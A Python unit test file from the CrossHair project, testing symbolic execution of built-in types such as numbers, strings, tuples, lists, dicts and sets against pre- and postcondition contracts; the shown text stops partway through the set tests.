metadata
dict
text
stringlengths
60
3.49M
{ "source": "JinghanCode/CrossHair", "score": 2 }
#### File: crosshair/libimpl/builtinslib_test.py ```python import collections import enum import math import sys import unittest from typing import * from crosshair.libimpl.builtinslib import SymbolicArrayBasedUniformTuple from crosshair.libimpl.builtinslib import SymbolicFloat from crosshair.libimpl.builtinslib import SymbolicInt from crosshair.libimpl.builtinslib import SymbolicList from crosshair.libimpl.builtinslib import SymbolicStr from crosshair.libimpl.builtinslib import crosshair_types_for_python_type from crosshair.libimpl.builtinslib import _isinstance from crosshair.libimpl.builtinslib import _max from crosshair.core import analyze_function from crosshair.core import deep_realize from crosshair.core import realize from crosshair.core_and_libs import * from crosshair.options import AnalysisOptionSet from crosshair.options import DEFAULT_OPTIONS from crosshair.test_util import check_ok from crosshair.test_util import check_exec_err from crosshair.test_util import check_post_err from crosshair.test_util import check_fail from crosshair.test_util import check_unknown from crosshair.util import set_debug from crosshair.statespace import SimpleStateSpace from crosshair.statespace import StateSpaceContext class Cat: def size(self) -> int: return 1 class BiggerCat(Cat): def size(self) -> int: return 2 class Color(enum.Enum): RED = 0 BLUE = 1 GREEN = 2 class SmokeDetector: """ inv: not (self._is_plugged_in and self._in_original_packaging) """ _in_original_packaging: bool _is_plugged_in: bool def signaling_alarm(self, air_samples: List[str]) -> bool: """ pre: self._is_plugged_in post: implies('smoke' in air_samples, _ == True) """ return "smoke" in air_samples if sys.version_info >= (3, 8): class Movie(TypedDict): name: str year: int class UnitTests(unittest.TestCase): def test_crosshair_types_for_python_type(self) -> None: self.assertEqual(crosshair_types_for_python_type(int), (SymbolicInt,)) self.assertEqual(crosshair_types_for_python_type(SmokeDetector), ()) def test_isinstance(self): with StateSpaceContext(SimpleStateSpace()): f = SymbolicFloat("f") self.assertFalse(isinstance(f, float)) self.assertFalse(isinstance(f, int)) self.assertTrue(_isinstance(f, float)) self.assertFalse(_isinstance(f, int)) def test_smtfloat_like_a_float(self): with StateSpaceContext(SimpleStateSpace()): self.assertEqual(type(SymbolicFloat(12)), float) self.assertEqual(SymbolicFloat(12), 12.0) class BooleanTest(unittest.TestCase): def test_simple_bool_with_fail(self) -> None: def f(a: bool, b: bool) -> bool: """ post: _ == a """ return True if a else b self.assertEqual(*check_fail(f)) def test_simple_bool_ok(self) -> None: def f(a: bool, b: bool) -> bool: """ post: _ == a or b """ return True if a else b self.assertEqual(*check_ok(f)) def test_bool_ors_fail(self) -> None: def f(a: bool, b: bool, c: bool, d: bool) -> bool: """ post: _ == (a ^ b) or (c ^ d) """ return a or b or c or d self.assertEqual(*check_fail(f)) def test_bool_ors(self) -> None: def f(a: bool, b: bool, c: bool, d: bool) -> bool: """ pre: (not a) and (not d) post: _ == (a ^ b) or (c ^ d) """ return a or b or c or d self.assertEqual(*check_ok(f)) def test_bool_as_numbers(self) -> None: def f(a: bool, b: bool) -> int: """ post: _ in (1, 2) """ return (a * b) + True self.assertEqual(*check_ok(f)) class NumbersTest(unittest.TestCase): def test_floordiv(self) -> None: def f(n: int, d: int) -> Tuple[int, int]: """ pre: n in (5, -5) pre: d in (5, 3, -3, -5) post: _[0] == _[1] """ return ((n // d), (int(n) // int(d))) self.assertEqual(*check_ok(f)) def test_mod(self) -> None: def f(n: int, d: int) -> Tuple[int, int]: """ pre: n in (5, -5) pre: d in (5, 3, -3, -5) post: _[0] == _[1] """ return ((n % d), (int(n) % int(d))) self.assertEqual(*check_ok(f)) def test_simple_compare_ok(self) -> None: def f(i: List[int]) -> bool: """ pre: 10 < len(i) post: _ """ return 9 < len(i[1:]) self.assertEqual(*check_ok(f)) def test_promotion_compare_ok(self) -> None: def f(i: int, f: float) -> bool: """ pre: i == 7 pre: f == 7.0 post: _ """ return i == f and f >= i and i >= f self.assertEqual(*check_ok(f)) def test_numeric_promotions(self) -> None: def f(b: bool, i: int) -> Tuple[int, float, float]: """ #post: 100 <= _[0] <= 101 #post: 3.14 <= _[1] <= 4.14 post: isinstance(_[2], float) """ return ((b + 100), (b + 3.14), (i + 3.14)) self.assertEqual(*check_ok(f)) def test_numbers_as_bool(self) -> None: def f(x: float, y: float): """ pre: math.isfinite(x) and math.isfinite(y) post: _ == x or _ == y """ return x or y self.assertEqual(*check_ok(f)) def test_int_reverse_operators(self) -> None: def f(i: int) -> float: """ pre: i != 0 post: _ > 0 """ return (1 + i) + (1 - i) + (1 / i) self.assertEqual(*check_ok(f)) def test_int_minus_symbolic_fail(self) -> None: def f(i: int) -> float: """ post: _ != 42 """ return 1 - i self.assertEqual(*check_fail(f)) def test_int_div_fail(self) -> None: def f(a: int, b: int) -> int: """ post: a <= _ <= b """ return (a + b) // 2 self.assertEqual(*check_fail(f)) def test_int_div_ok(self) -> None: def f(a: int, b: int) -> int: """ pre: a < b post: a <= _ <= b """ return (a + b) // 2 self.assertEqual(*check_ok(f)) def test_int_bitwise_fail(self) -> None: def f(a: int, b: int) -> int: """ pre: 0 <= a <= 3 pre: 0 <= b <= 3 post: _ < 7 """ return (a << 1) ^ b self.assertEqual(*check_fail(f)) def test_int_bitwise_ok(self) -> None: def f(a: int, b: int) -> int: """ pre: 0 <= a <= 3 pre: 0 <= b <= 3 post: _ <= 7 """ return (a << 1) ^ b self.assertEqual(*check_ok(f)) def test_true_div_fail(self) -> None: def f(a: int, b: int) -> float: """ pre: a != 0 and b != 0 post: _ >= 1.0 """ return (a + b) / b self.assertEqual(*check_fail(f)) def test_true_div_ok(self) -> None: def f(a: int, b: int) -> float: """ pre: a >= 0 and b > 0 post: _ >= 1.0 """ return (a + b) / b self.assertEqual(*check_ok(f)) def test_trunc_fail(self) -> None: def f(n: float) -> int: """ pre: n > 100 post: _ < n """ return math.trunc(n) self.assertEqual(*check_fail(f)) def test_trunc_ok(self) -> None: def f(n: float) -> int: """ post: abs(_) <= abs(n) """ return math.trunc(n) self.assertEqual(*check_ok(f)) def test_round_fail(self) -> None: def f(n1: int, n2: int) -> Tuple[int, int]: """ pre: n1 < n2 post: _[0] < _[1] # because we round towards even """ return (round(n1 + 0.5), round(n2 + 0.5)) self.assertEqual(*check_fail(f)) def test_round_unknown(self) -> None: def f(num: float, ndigits: Optional[int]) -> float: """ post: isinstance(_, int) == (ndigits is None) """ return round(num, ndigits) # TODO: this is unknown (rounding reals is hard) self.assertEqual(*check_unknown(f)) def test_number_isinstance(self) -> None: def f(x: float) -> float: """ post: isinstance(_, float) """ return x self.assertEqual(*check_ok(f)) def test_mismatched_types(self) -> None: def f(x: float, y: list) -> float: """ pre: x == 1.0 and y == [] post: _ == 1 """ return x + y # type: ignore self.assertEqual(*check_exec_err(f, "TypeError: unsupported operand type")) def test_surprisingly_valid_types(self) -> None: def f(x: bool) -> float: """ pre: x == True post: _ == -2 """ return ~x self.assertEqual(*check_ok(f)) def test_float_from_hex(self) -> None: def f(s: str) -> float: """ pre: s == '0x3.a7p10' post: _ == 3740.0 """ return float.fromhex(s) self.assertEqual(*check_ok(f)) def test_int_from_bytes(self) -> None: def f(byt: bytes) -> int: r""" pre: byt == b'\x00\x05' post: _ == 5 """ return int.from_bytes(byt, byteorder="big") self.assertEqual(*check_ok(f)) def TODO_test_int_repr(self) -> None: def f(x: int) -> str: """ post: len(_) != 3 """ return repr(x) self.assertEqual(*check_fail(f)) def test_nonlinear(self) -> None: def make_bigger(x: int, e: int) -> float: """ pre: e > 1 post: __return__ != 592704 """ # Expenentation is not SMT-solvable. (z3 gives unsat for this) # But CrossHair gracefully falls back to realized values, yielding # the counterexample of: 84 ** 3 return x ** e self.assertEqual(*check_fail(make_bigger)) def test_int_from_str(): with standalone_statespace as space: s = SymbolicStr("s") space.add((s == "42").var) assert int(s) == 42 class StringsTest(unittest.TestCase): def test_cast_to_bool_fail(self) -> None: def f(a: str) -> str: """ post: a """ return a self.assertEqual(*check_fail(f)) def test_multiply_fail(self) -> None: def f(a: str) -> str: """ post: len(_) == len(a) * 3 """ return 3 * a self.assertEqual(*check_ok(f)) def test_multiply_ok(self) -> None: def f(a: str) -> str: """ post: len(_) == len(a) * 5 """ return a * 3 + 2 * a self.assertEqual(*check_ok(f)) def test_multiply_by_symbolic_ok(self) -> None: def f(i: int) -> str: """ pre: i > 0 post: len(_) == 3 * i post: _[2] == 'b' """ return "a\x00b" * i self.assertEqual(*check_ok(f)) def test_full_symbolic_multiply_unknown(self) -> None: def f(s: str, i: int) -> str: """ pre: s and i > 0 post: _[0] == s[0] """ return s * i self.assertEqual(*check_unknown(f)) def test_prefixing_fail(self) -> None: def f(a: str, indent: bool) -> str: """ post: len(_) == len(a) + indent """ return (" " if indent else "") + a self.assertEqual(*check_fail(f)) def test_prefixing_ok(self) -> None: def f(a: str, indent: bool) -> str: """ post: len(_) == len(a) + (2 if indent else 0) """ return (" " if indent else "") + a self.assertEqual(*check_ok(f)) def test_find_with_limits_ok(self) -> None: def f(a: str) -> int: """ post: _ == -1 """ return a.find("abc", 1, 3) self.assertEqual(*check_ok(f)) def test_find_with_negative_limits_ok(self) -> None: def f(a: str) -> int: """ post: _ == -1 """ return a.find("abc", -2, 3) self.assertEqual(*check_ok(f)) def test_ljust_fail(self) -> None: def f(s: str) -> str: """ post: len(_) == len(s) """ return s.ljust(3, "x") self.assertEqual(*check_fail(f)) def test_rfind_with_limits_ok(self) -> None: def f(a: str) -> int: """ post: _ == -1 """ return a.rfind("abc", 1, 3) self.assertEqual(*check_ok(f)) def test_rfind_with_negative_limits_ok(self) -> None: def f(a: str) -> int: """ post: _ == -1 """ return a.rfind("abc", -2, 3) self.assertEqual(*check_ok(f)) def test_rindex_fail(self) -> None: def f(a: str) -> int: """ post: _ != 2 """ try: return a.rindex("abc") except ValueError: return 0 self.assertEqual(*check_fail(f)) def test_rindex_err(self) -> None: def f(a: str) -> int: """ post: True """ return a.rindex("abc", 1, 3) self.assertEqual(*check_exec_err(f)) def test_rjust_fail(self) -> None: def f(s: str) -> str: """ post: len(_) == len(s) """ return s.rjust(3, "x") self.assertEqual(*check_fail(f)) def test_replace_fail(self) -> None: def f(a: str) -> str: """ post: _ == a """ return a.replace("abcd", "x", 1) self.assertEqual(*check_fail(f)) def test_index_err(self) -> None: def f(s1: str, s2: str) -> int: """ pre: s1 == 'aba' pre: 'ab' in s2 post: True """ return s1.index(s2) # index() raises ValueError when a match isn't found: self.assertEqual(*check_exec_err(f, "ValueError")) def test_negative_index_slicing(self) -> None: def f(s: str) -> Tuple[str, str]: """ post: sum(map(len, _)) == len(s) - 1 """ idx = s.find(":") return (s[:idx], s[idx + 1 :]) self.assertEqual(*check_fail(f)) # (fails when idx == -1) def test_starts_and_ends_ok(self) -> None: def f(s: str) -> str: """ pre: s == 'aba' post: s.startswith('ab') post: s.endswith('ba') """ return s self.assertEqual(*check_ok(f)) def test_count_fail(self) -> None: def f(s: str) -> int: """ post: _ != 1 """ return s.count(":") self.assertEqual(*check_fail(f)) def test_split_ok(self) -> None: def f(s: str) -> list: """ post: len(_) in (1, 2) """ return s.split(":", 1) self.assertEqual(*check_ok(f)) def test_split_fail(self) -> None: def f(s: str) -> list: """ post: _ != ['ab', 'cd'] """ return s.split(",") self.assertEqual(*check_fail(f)) def test_rsplit_ok(self) -> None: def f(s: str) -> list: """ post: len(_) in (1, 2) """ return s.rsplit(":", 1) self.assertEqual(*check_ok(f)) def test_rsplit_fail(self) -> None: def f(s: str) -> list: """ post: __return__ != ['a', 'b'] """ return s.rsplit(":", 1) self.assertEqual(*check_fail(f)) def test_partition_ok(self) -> None: def f(s: str) -> tuple: """ post: len(_) == 3 """ return s.partition(":") self.assertEqual(*check_ok(f)) def test_partition_fail(self) -> None: def f(s: str) -> tuple: """ post: _ != ("ab", "cd", "ef") """ return s.partition("cd") self.assertEqual(*check_fail(f, AnalysisOptionSet(per_path_timeout=5))) def test_rpartition_ok(self) -> None: def f(s: str) -> tuple: """ post: len(_) == 3 """ return s.rpartition(":") self.assertEqual(*check_ok(f)) def test_str_comparison_fail(self) -> None: def f(s1: str, s2: str) -> bool: """ post: _ """ return s1 >= s2 self.assertEqual(*check_fail(f)) def test_compare_ok(self) -> None: def f(a: str, b: str) -> bool: """ pre: a and b post: implies(__return__, a[0] <= b[0]) """ return a < b self.assertEqual(*check_ok(f, AnalysisOptionSet(per_path_timeout=5))) def test_realized_compare(self) -> None: def f(a: str, b: str) -> bool: """ post: implies(_, a == b) """ return realize(a) == b self.assertEqual(*check_unknown(f)) def test_int_str_comparison_fail(self) -> None: def f(a: int, b: str) -> Tuple[bool, bool]: """ post: (not _[0]) or (not _[1]) """ return (a != b, b != a) self.assertEqual(*check_fail(f)) def test_int_str_comparison_ok(self) -> None: def f(a: int, b: str) -> bool: """ post: _ == False """ return a == b or b == a self.assertEqual(*check_ok(f)) def test_string_formatting_literal(self) -> None: def f(o: object) -> str: """ post: True """ return "object of type {typ} with repr {zzzzz}".format( # type: ignore typ=type(o), rep=repr(o) ) self.assertEqual(*check_exec_err(f)) def test_string_formatting_varfmt(self) -> None: def f(fmt: str) -> str: """ # NOTE: with a iteration-base, pure python implementation of format, we wouldn't need this precondition: pre: '{}' in fmt post: True """ return fmt.format(ver=sys.version, platform=sys.platform) self.assertEqual(*check_exec_err(f)) def test_percent_format(self) -> None: def f(fmt: str) -> str: """ pre: '%' not in fmt post: True """ return fmt % () self.assertEqual(*check_unknown(f)) def test_join_ok(self) -> None: def f(items: List[str]) -> str: """ pre: 2 <= len(items) <= 3 post: len(_) >= 3 post: 'and' in _ """ return "and".join(items) self.assertEqual(*check_ok(f)) def test_join_fail(self) -> None: def f(items: List[str]) -> str: """ pre: len(items) > 0 post: len(_) > 0 """ return ", ".join(items) self.assertEqual(*check_fail(f)) def test_upper_unknown(self) -> None: def f(s: str) -> str: """ post: __return__ != "FOOBAR" """ return s.upper() self.assertEqual( *check_unknown(f) ) # Ideally we'd find the counterexample input, "foobar" def test_csv_example(self) -> None: def f(lines: List[str]) -> List[str]: """ pre: all(',' in line for line in lines) post: __return__ == [line.split(',')[0] for line in lines] """ return [line[: line.index(",")] for line in lines] # TODO: the model generation doesn't work right here (getting a lot of empty strings): options = AnalysisOptionSet(per_path_timeout=0.5, per_condition_timeout=5) self.assertEqual(*check_unknown(f, options)) def test_zfill_fail(self) -> None: def f(s: str) -> str: """ post: _ == s """ return s.zfill(3) self.assertEqual(*check_fail(f)) def test_string_contains(): with standalone_statespace as space: small = SymbolicStr("small") big = SymbolicStr("big") space.add((len(small) == 1).var) space.add((len(big) == 2).var) # NOTE: the in operator has a dedicated opcode and is handled directly # via a slot on PyUnicode. Therefore, the tests below will fail if changed # to use the `in` operator. TODO: consider intercepting the appropriate # containment opcode and swapping symbolics into the interpreter stack. assert space.is_possible(big.__contains__(small).var) assert not space.is_possible(small.__contains__(big).var) assert space.is_possible("a".__contains__(small).var) assert not space.is_possible("".__contains__(small).var) assert space.is_possible(small.__contains__("a").var) assert not space.is_possible(small.__contains__("ab").var) def test_string_deep_realize(): with standalone_statespace: a = SymbolicStr("a") tupl = (a, (a,)) realized = deep_realize(tupl) assert list(map(type, realized)) == [str, tuple] assert list(map(type, realized[1])) == [str] assert realized[0] is realized[1][0] def test_seq_string_deep_realize(): with standalone_statespace as space: tupl = SymbolicArrayBasedUniformTuple("s", List[str]) space.add(tupl._len() == 2) realized = deep_realize(tupl) assert list(map(type, realized)) == [str, str] class TuplesTest(unittest.TestCase): def test_tuple_range_intersection_fail(self) -> None: def f(a: Tuple[int, int], b: Tuple[int, int]) -> Optional[Tuple[int, int]]: """ pre: a[0] < a[1] and b[0] < b[1] post: _[0] <= _[1] """ return (max(a[0], b[0]), min(a[1], b[1])) self.assertEqual(*check_fail(f)) def test_tuple_range_intersection_ok(self) -> None: def f(a: Tuple[int, int], b: Tuple[int, int]) -> Optional[Tuple[int, int]]: """ pre: a[0] < a[1] and b[0] < b[1] post: _ is None or _[0] <= _[1] """ if a[1] > b[0] and a[0] < b[1]: # (if the ranges overlap) return (max(a[0], b[0]), min(a[1], b[1])) else: return None self.assertEqual(*check_ok(f)) def test_tuple_with_uniform_values_fail(self) -> None: def f(a: Tuple[int, ...]) -> float: """ post: True """ return sum(a) / len(a) self.assertEqual(*check_exec_err(f)) def test_tuple_with_uniform_values_ok(self) -> None: def f(a: Tuple[int, ...]) -> Tuple[int, ...]: """ pre: len(a) < 4 post: 0 not in _ """ return tuple(x for x in a if x) self.assertEqual(*check_ok(f)) def test_runtime_type(self) -> None: def f(t: Tuple) -> Tuple: """ post: t != (1, 2) """ return t self.assertEqual(*check_fail(f)) def test_isinstance_check(self) -> None: def f(uniform_tuple: Tuple[List, ...], basic_tuple: tuple) -> Tuple[bool, bool]: """ post: _ == (True, True)""" return (isinstance(uniform_tuple, tuple), isinstance(basic_tuple, tuple)) self.assertEqual(*check_ok(f)) class ListsTest(unittest.TestCase): def test_range_can_be_called(self) -> None: def f(a: int) -> Iterable[int]: """ post: len(_) == a or a < 0 """ return range(a) self.assertEqual(*check_unknown(f)) def test_containment_fail(self) -> None: def f(a: int, b: List[int]) -> bool: """ post: _ == (a in b[:3]) """ return a in b self.assertEqual(*check_fail(f)) def test_containment_ok(self) -> None: def f(a: int, b: List[int]) -> bool: """ pre: 1 == len(b) post: _ == (a == b[0]) """ return a in b self.assertEqual(*check_ok(f)) def test_doubling_fail(self) -> None: def f(a: List[int]) -> List[int]: """ post: len(_) > len(a) """ return a + a self.assertEqual(*check_fail(f)) def test_doubling_ok(self) -> None: def f(a: List[int]) -> List[int]: """ post: len(_) > len(a) or not a """ return a + a self.assertEqual(*check_ok(f)) def test_multiply_ok(self) -> None: def f(a: List[int]) -> List[int]: """ post: len(_) == len(a) * 5 """ return a * 3 + 2 * a self.assertEqual(*check_ok(f)) def test_average(self) -> None: def average(numbers: List[float]) -> float: """ pre: len(numbers) > 0 post: min(numbers) <= _ <= max(numbers) """ return sum(numbers) / len(numbers) self.assertEqual(*check_unknown(average)) def test_mixed_symbolic_and_literal_concat_ok(self) -> None: def f(l: List[int], i: int) -> List[int]: """ pre: i >= 0 post: len(_) == len(l) + 1 """ return ( l[:i] + [ 42, ] + l[i:] ) self.assertEqual(*check_ok(f)) def test_range_fail(self) -> None: def f(l: List[int]) -> List[int]: """ pre: len(l) == 3 post: len(_) > len(l) """ n: List[int] = [] for i in range(len(l)): n.append(l[i] + 1) return n self.assertEqual(*check_fail(f)) def test_range_ok(self) -> None: def f(l: List[int]) -> List[int]: """ pre: l and len(l) < 10 # (max is to cap runtime) post: _[0] == l[0] + 1 """ n: List[int] = [] for i in range(len(l)): n.append(l[i] + 1) return n self.assertEqual(*check_ok(f)) def test_equality(self) -> None: def f(l: List[int]) -> List[int]: """ pre: len(l) > 0 post: _ != l """ # extra check for positive equality: assert l == [x for x in l], "list does not equal itself" nl = l[:] nl[0] = 42 return nl self.assertEqual(*check_fail(f)) def test_extend_literal_unknown(self) -> None: def f(l: List[int]) -> List[int]: """ post: _[:2] == [1, 2] """ r = [1, 2, 3] r.extend(l) return r self.assertEqual(*check_unknown(f)) def test_index_error(self) -> None: def f(l: List[int], idx: int) -> int: """ pre: idx >= 0 and len(l) > 2 post: True """ return l[idx] self.assertEqual(*check_exec_err(f, "IndexError")) def test_index_type_error(self) -> None: def f(l: List[int]) -> int: """ post: True """ return l[0.0:] # type: ignore self.assertEqual(*check_exec_err(f, "TypeError")) def test_index_ok(self) -> None: def f(l: List[int]) -> bool: """ pre: len(l) <= 3 post: _ == (7 in l) """ try: return l[l.index(7)] == 7 return True except ValueError: return False self.assertEqual(*check_ok(f)) def test_nested_lists_fail(self) -> None: def f(l: List[List[int]]) -> int: """ post: _ > 0 """ total = 0 for i in l: total += len(i) return total self.assertEqual(*check_fail(f)) def test_nested_lists_ok(self) -> None: def f(l: List[List[int]]) -> int: """ pre: len(l) < 4 post: _ >= 0 """ total = 0 for i in l: total += len(i) return total self.assertEqual(*check_ok(f)) def test_iterable(self) -> None: def f(a: Iterable[str]) -> str: """ pre: a post: _ in a """ return next(iter(a)) self.assertEqual(*check_ok(f)) def test_isinstance_check(self) -> None: def f(l: List) -> bool: """ post: _ """ return isinstance(l, list) self.assertEqual(*check_ok(f)) def test_slice_outside_range_ok(self) -> None: def f(l: List[int], i: int) -> List[int]: """ pre: i >= len(l) post: _ == l """ return l[:i] self.assertEqual(*check_unknown(f)) def test_slice_amount(self) -> None: def f(l: List[int]) -> List[int]: """ pre: len(l) >= 3 post: len(_) == 1 """ return l[2:3] self.assertEqual(*check_ok(f)) def test_slice_assignment_ok(self) -> None: def f(l: List[int]) -> None: """ pre: len(l) >= 2 post[l]: l[1] == 42 l[2] == 43 len(l) == 4 """ l[1:-1] = [42, 43] self.assertEqual(*check_ok(f)) def test_slice_assignment_out_of_bounds(self) -> None: def f(l: List[int], i: int) -> None: """ pre: i != -1 post: l == __old__.l[:i] + __old__.l[i+1:] """ l[i : i + 1] = [] self.assertEqual(*check_unknown(f)) def test_insert_ok(self) -> None: def f(l: List[int]) -> None: """ pre: len(l) == 4 post[l]: len(l) == 5 l[2] == 42 """ l.insert(-2, 42) self.assertEqual(*check_ok(f)) def test_insert_with_conversions(self) -> None: def f(l: List[Set[int]], a: bool, b: int) -> None: """ # self.insert(a,b) with {'a': True, 'b': 10, 'self': [{0}]} post: True """ l.insert(a, b) # type: ignore self.assertEqual(*check_ok(f)) def test_pop_ok(self) -> None: def f(l: List[int]) -> None: """ pre: l == [4, 5] post: l == [4] """ l.pop() self.assertEqual(*check_ok(f)) def test_count_ok(self) -> None: def f(l: List[Dict[int, Dict[int, int]]]) -> int: """ pre: l == [{1: {2: 3}}] post: _ == 1 """ return l.count({1: {2: 3}}) self.assertEqual(*check_ok(f)) def test_assignment_ok(self) -> None: def f(l: List[int]) -> None: """ pre: len(l) >= 4 post[l]: l[3] == 42 """ l[3] = 42 self.assertEqual(*check_ok(f)) def test_slice_delete_fail(self) -> None: def f(l: List[int]) -> None: """ pre: len(l) >= 2 post[l]: len(l) > 0 """ del l[-2:] self.assertEqual(*check_fail(f)) def test_item_delete_ok(self) -> None: def f(l: List[int]) -> None: """ pre: len(l) == 5 post[l]: len(l) == 4 """ del l[2] self.assertEqual(*check_ok(f)) def test_item_delete_type_error(self) -> None: def f(l: List[float]) -> None: """ pre: len(l) == 0 post: True """ del l[1.0] # type: ignore self.assertEqual(*check_exec_err(f, "TypeError")) def test_item_delete_oob(self) -> None: def f(l: List[float]) -> None: """ post: True """ del l[1] self.assertEqual(*check_exec_err(f, "IndexError")) def test_sort_ok(self) -> None: def f(l: List[int]) -> None: """ pre: len(l) == 3 post[l]: l[0] == min(l) """ l.sort() self.assertEqual(*check_ok(f)) def test_reverse_ok(self) -> None: def f(l: List[int]) -> None: """ pre: len(l) == 2 post[l]: l[0] == 42 """ l.append(42) l.reverse() self.assertEqual(*check_ok(f)) def test_comparison_type_error(self) -> None: def f(a: List[Set], b: str): """ post: True """ return a <= b # type: ignore self.assertEqual(*check_exec_err(f, "TypeError")) class DictionariesTest(unittest.TestCase): def test_dict_basic_fail(self) -> None: def f(a: Dict[int, int], k: int, v: int) -> None: """ post[a]: a[k] == 42 """ a[k] = v self.assertEqual(*check_fail(f)) def test_dict_basic_ok(self) -> None: def f(a: Dict[int, str], k: int, v: str) -> None: """ post[a]: a[k] == v """ a[k] = v self.assertEqual(*check_ok(f)) def test_dict_get_with_defaults_ok(self) -> None: def f(a: Dict[float, float]) -> float: """ post: (_ == 1.2) or (_ == a[42.42]) """ return a.get(42.42, 1.2) self.assertEqual(*check_ok(f)) def test_dict_empty_bool(self) -> None: def f(a: Dict[int, str]) -> bool: """ post[a]: _ == True """ a[0] = "zero" return bool(a) self.assertEqual(*check_ok(f)) def TODO_test_dict_deep_equality( self, ) -> None: # This is too challenging right now. def f(a: Dict[bool, set], b: Dict[str, List[Set[float]]]) -> object: """ pre: a == {True: set()} pre: b == {'': [set(), {1.0}]} post: _ """ if a == {True: set()}: if b == {"": [set(), {1.0}]}: return False return True self.assertEqual(*check_fail(f)) def test_dict_over_objects(self) -> None: def f(a: Dict[object, object]) -> int: """ post: _ >= 0 """ return len(a) self.assertEqual(*check_ok(f)) def test_dict_iter_fail(self) -> None: def f(a: Dict[int, str]) -> List[int]: """ post[a]: 5 in _ """ a[10] = "ten" return list(a.__iter__()) self.assertEqual(*check_fail(f)) def test_dict_iter_ok(self) -> None: def f(a: Dict[int, str]) -> List[int]: """ pre: len(a) < 3 post[a]: 10 in _ """ a[10] = "ten" return list(a.__iter__()) self.assertEqual(*check_ok(f)) def test_dict_to_string_ok(self) -> None: def f(a: Dict[int, str]) -> str: """ pre: len(a) == 0 post: _ == '{}' """ return str(a) self.assertEqual(*check_ok(f)) def test_dict_items_ok(self) -> None: def f(a: Dict[int, str]) -> Iterable[Tuple[int, str]]: """ pre: len(a) < 5 post[a]: (10,'ten') in _ """ a[10] = "ten" return a.items() self.assertEqual(*check_ok(f)) def test_dict_del_fail(self) -> None: def f(a: Dict[str, int]) -> None: """ post[a]: True """ del a["42"] self.assertEqual(*check_exec_err(f)) def test_setdefault_float_int_comparison(self) -> None: def f(a: Dict[int, int]): """ pre: a == {2: 0} post: _ == 0 """ return a.setdefault(2.0, {True: "0"}) # type: ignore self.assertEqual(*check_ok(f)) def test_dicts_complex_contents(self) -> None: def f(d: Dict[Tuple[int, str], Tuple[float, int]]) -> int: """ post: _ > 0 """ if (42, "fourty-two") in d: return d[(42, "fourty-two")][1] else: return 42 self.assertEqual(*check_fail(f)) def test_runtime_type(self) -> None: def f(t: dict) -> dict: """ post: t != {1: 2} """ return t self.assertEqual(*check_fail(f)) def test_isinstance_check(self) -> None: def f(smtdict: Dict[int, int], heapdict: Dict) -> Tuple[bool, bool]: """ post: _ == (True, True)""" return (isinstance(smtdict, dict), isinstance(heapdict, dict)) self.assertEqual(*check_ok(f)) def test_dicts_subtype_lookup(self) -> None: def f(d: Dict[Tuple[int, str], int]) -> None: """ pre: not d post[d]: [(42, 'fourty-two')] == list(d.keys()) """ d[(42, "fourty-two")] = 1 self.assertEqual(*check_ok(f)) def test_dicts_complex_keys(self) -> None: def f(dx: Dict[Tuple[int, str], int]) -> None: """ pre: not dx post[dx]: len(dx) == 1 dx[(42, 'fourty-two')] == 1 """ dx[(42, "fourty-two")] = 1 self.assertEqual(*check_ok(f)) def test_symbolic_dict_has_unique_keys(self) -> None: def f(d: Dict[Tuple[int, str], int]) -> None: """ pre: (1, 'one') in d post[d]: (1, 'one') not in d """ del d[(1, "one")] self.assertEqual(*check_unknown(f)) def test_equality_fail(self) -> None: def f(d: Dict[int, int]) -> Dict[int, int]: """ post: _ != d """ d = d.copy() d[40] = 42 return d self.assertEqual(*check_fail(f)) def test_equality_ok(self) -> None: def f(d: Dict[int, int]) -> Dict[int, int]: """ post: _ == {**_} """ return d self.assertEqual(*check_unknown(f)) def test_wrong_key_type(self) -> None: def f(d: Dict[int, int], s: str, i: int) -> bool: if i == 0: del d[s] # type: ignore elif i < 0: d[s] = 7 # type: ignore else: _val = d[s] # type: ignore return True self.assertEqual(*check_ok(f)) def test_dict_key_type_union(self) -> None: def f(d: Dict[Union[int, str], int]) -> Dict: """ pre: len(d) == 2 post: not (42 in d and '42' in d) """ return d self.assertEqual(*check_fail(f)) def test_nonuniform_dict_types(self) -> None: def f(a: Dict[Hashable, int]) -> Dict[Hashable, int]: """ pre: len(a) == 1 post: _[0] == 100 """ b: Dict[Hashable, int] = {0: 100} b.update(a) return b self.assertEqual(*check_fail(f)) def test_dicts_inside_lists(self) -> None: def f(dicts: List[Dict[int, int]]) -> Dict[int, int]: """ pre: len(dicts) <= 1 # to narrow search space (would love to make this larger) post: len(_) <= len(dicts) """ ret = {} for d in dicts: ret.update(d) return ret self.assertEqual(*check_fail(f)) def test_dicts_inside_lists_with_identity(self) -> None: # NOTE: the message is a little confusing because repr() # hides the fact that the identity of the lists is the same. def f(dicts: List[Dict[int, int]]): """ Removes duplicate keys. pre: len(dicts) == 2 pre: len(dicts[0]) == 1 post: len(dicts[0]) == 1 """ seen: Set[int] = set() for d in dicts: for k in d.keys(): if k in seen: del d[k] else: seen.add(k) self.assertEqual(*check_fail(f)) def test_consistent_ordering(self) -> None: def f(symbolic: Dict[int, int]) -> Tuple[List[int], List[int]]: """ post: _[0] == _[1] """ return (list(symbolic.keys()), list(symbolic.keys())) self.assertEqual(*check_unknown(f)) def test_ordering_after_mutations(self) -> None: def f(d: Dict[int, int]) -> Tuple[Tuple[int, int], Tuple[int, int]]: """ pre: len(d) == 3 post[d]: _[0] == _[1] """ o1, middle, o2 = d.keys() d[o1] = 42 d[o2] = 42 del d[middle] n1, n2 = d.keys() return ((o1, o2), (n1, n2)) self.assertEqual(*check_ok(f)) def test_alternate_mapping_types(self) -> None: def f(m1: Mapping[int, int], m2: MutableMapping[int, int]) -> int: """ pre: 1 in m1 and 2 in m2 post: _ != 10 """ return m1[1] + m2[2] self.assertEqual(*check_fail(f)) def test_implicit_conversion_for_keys(self) -> None: def f(m: Dict[float, float], b: bool, i: int): """ post: len(m) >= len(__old__.m) """ m[b] = 2.0 m[i] = 3.0 self.assertEqual(*check_ok(f)) if sys.version_info >= (3, 8): def test_typed_dict_fail(self) -> None: def f(td: Movie): ''' post: _['year'] != 2020 or _['name'] != "hi"''' return td self.assertEqual(*check_fail(f)) class SetsTest(unittest.TestCase): def test_basic_fail(self) -> None: def f(a: Set[int], k: int) -> None: """ post[a]: k+1 in a """ a.add(k) self.assertEqual(*check_fail(f)) def test_basic_ok(self) -> None: def f(a: Set[int], k: int) -> None: """ post[a]: k in a """ a.add(k) self.assertEqual(*check_ok(f)) def test_union_fail(self) -> None: def f(a: Set[str], b: Set[str]) -> Set[str]: """ pre: len(a) == len(b) == 1 # (just for test performance) post: all(((i in a) and (i in b)) for i in _) """ return a | b 